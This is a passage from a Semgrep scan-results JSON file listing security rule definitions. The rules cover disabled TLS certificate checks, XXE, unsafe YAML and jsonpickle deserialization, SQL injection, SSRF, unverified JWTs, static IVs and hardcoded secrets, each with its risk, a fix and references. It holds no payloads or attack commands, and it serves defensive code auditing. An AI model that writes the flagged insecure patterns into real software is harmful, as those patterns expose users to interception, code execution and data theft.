python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n","text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","id":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","name":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request)\n - [https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html](https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html)\n","text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"help":{"markdown":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n","text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","id":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","name":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli)\n - [https://pypi.org/project/pymssql/](https://pypi.org/project/pymssql/)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli","id":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","name":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymssql-sqli.pymssql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host","id":"python.django.security.injection.tainted-url-host.tainted-url-host","name":"python.django.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"help":{"markdown":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","id":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","name":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.detailed-exceptions.detailed-exceptions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","id":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","name":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"help":{"markdown":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","id":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","name":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"help":{"markdown":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode)\n - [https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96](https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96)\n","text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"helpUri":"https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","id":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","name":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.unverified-jwt-decode.unverified-jwt-decode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","id":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","name":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv","id":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","name":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","properties":{"precision":"very-high","tags":["CWE-329: Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-iv.hardcoded-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"help":{"markdown":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn)\n - [http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html](http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html)\n","text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","id":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","name":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"help":{"markdown":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key","id":"generic.secrets.security.detected-private-key.detected-private-key","name":"generic.secrets.security.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in 